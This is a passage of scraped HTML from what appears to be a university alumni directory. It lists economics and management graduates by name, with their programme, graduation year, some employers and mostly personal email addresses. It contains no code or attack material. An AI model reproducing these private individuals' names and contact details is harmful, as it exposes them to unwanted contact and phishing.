margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Royal Rəsulov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:Royal.resulov.94@mail.ru\">Royal.resulov.94@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruslan Qurbanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin İdarıedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:piriyeva.94@mail.ru\">piriyeva.94@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rauf Hüseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:huseynov167@gmail.com\">huseynov167@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəşad Məmmədzadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resad.mamedzade@gmail.com\">resad.mamedzade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəşid Əhmədli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resid-ehmedli@bk.ru\">resid-ehmedli@bk.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəşid Səlimbəyli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin idarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:resid.selimbeyli@gmail.com\">resid.selimbeyli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rauf Kazimov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rauf-kazimov@mail.ru\">rauf-kazimov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəşad Əliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Rashad.a777@hotmail.com\">Rashad.a777@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Rashad.a777@hotmail.com\"></a>Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəna Məmmədova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rena.mamedova@barmek.az\">rena.mamedova@barmek.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Rafiq Novruzov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:rafiq_nov@hotmail.com\">rafiq_nov@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil Əhmədov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:A.Ramil88@gmail.com\">A.Ramil88@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ruslan Ramazanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sudur-ruslan@mail.ru\">sudur-ruslan@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramil Rzayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AFB Bank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ramil_rzayev@hotmail.com\">ramil_rzayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramin Nəsirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:RAMIN.NASIROV@yahoo.com\">RAMIN.NASIROV@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramin Orucov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:orucovramin@yahoo.com\">orucovramin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rasim Allahverdiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ernst&amp;Young, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"https://yandex.ru/\">eridan12yandex.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Rəşad Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rashad_babayev85@mail.ru\">rashad_babayev85@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"S\" style=\"font-weight:bold\"><strong>S</strong></h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:20.7px;color:#252525\">Səadət&nbsp;</span></strong><strong>Əfəndiyeva&nbsp;<o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq İqtisadi Münasibətlər,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:efendi_sea@mail.ru\">efendi_sea[at]mail.ru</a> </p>\r\n<p>Azerbaijan supermarkets llc</p>\r\n<p><strong><br></strong></p><p><strong>Suray&nbsp;</strong><strong>Məmmədova&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Marketinq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mamedovasuray@gmail.com\">mamedovasuray[at]gmail.com</a> </p>\r\n<p>&nbsp;</p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:20.7px;color:#252525\">Samir&nbsp;</span></strong><strong>Musayev&nbsp;<o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Xarici İqtisadi Fəaliyyət, 2017</p>\r\n<p>E-mail: <a href=\"mailto:s.musayev@hotmail.com\">s.musayev[at]hotmail.com</a> </p>\r\n<p>Azərbaycan Respublikası&nbsp;Tarif (qiymət) Şurasının\r\nKatibliyinin Təhlil və tənzimləmə şöbəsinin Enerji, kommunal və su təchizatı\r\nxidmətləri sektorunun baş məsləhətçisi</p>\r\n<p>&nbsp;</p><p><strong>Sərxan Məmmədov <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Sarkhan017@gmail.com\">Sarkhan017[at]gmail.com</a></p>\r\n<p>Bridge Group of Companies,&nbsp;AZEX programinin yaradicisi ve direktoru</p>\r\n<p><strong><br></strong></p><p><strong>Samir Yuniszade </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment, 2017</p>\r\n<p>E-mail:<a href=\"mailto:s.yunisli@mail.ru\">s.yunisli[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Suleyman Yagizarov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:ssyagizarov@gmail.com\">ssyagizarov[at]gmail.com</a></p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong>Səkinə&nbsp;Kərimli</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühasibat uçotu və audit</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:Sakina.karimli@mail.ru\">Sakina.karimli@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə İsmixanlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və İdarəedilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:s.ismikhanli@hotmail.com\">s.ismikhanli@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sona Revanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sona.revanova@gmail.com\">sona.revanova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinc Telman</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sevinc0526@gmail.com\">sevinc0526@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sənan Cabbarlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:C_senan@live.ru\">C_senan@live.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samir Zeynallı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeynalli.samir@gmail.com\">zeynalli.samir@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə Abdullayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Converteam Inc, Pittsburgh, PA/AP Mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samirə Əliyeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:aliyevasamira@yahoo.com\">aliyevasamira@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;<span style=\"font-weight:bold\">&nbsp;</span></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samir İsayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Topaz Energy and Marine LTD&nbsp; tercumeci</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Samir_isayev@hotmail.com\">Samir_isayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə Quliyeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">TBC\r\nKredit NBCO(Qeyri-bank kredit təşkilatı), Müştərilərə xidmət üzrə baş\r\nmütəxəssis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:s.quliyeva@yahoo.com\">s.quliyeva@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sonaxanım Rəcəbova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sonaxanim@hotmail.com\">sonaxanim@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səma Abduləzimova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sabdulazimova@yahoo.com\">sabdulazimova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səidə Hüseynova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baker Hughes Services Int. Inc. , Aparıcı Maliyyə mütəxəssisi (IC qrupu)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:saida.aliyeva@bakerhughes.com\">saida.aliyeva@bakerhughes.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:saida.aliyeva@bakerhughes.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səfurə Əhmədova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:safura_ahmadova@yahoo.com\">safura_ahmadova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə Namazova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sabina.namazova@gmail.com\">sabina.namazova@gmail.com</a>\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samira Sultanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sultanova.s@gmail.com\">sultanova.s@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə Tarazanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Ş\" style=\"font-weight:bold\"><strong><strong>Ş</strong></strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şahin Əzizov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şamo Zahidov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samo18@box.az\">samo18@box.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şamil&nbsp;Məmmədov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamil214@mail.ru\">shamil214@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şahin Səmədli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shahin-s20@hotmail.com\">shahin-s20@hotmail.com</a></p>\r\n<p style=\"\" 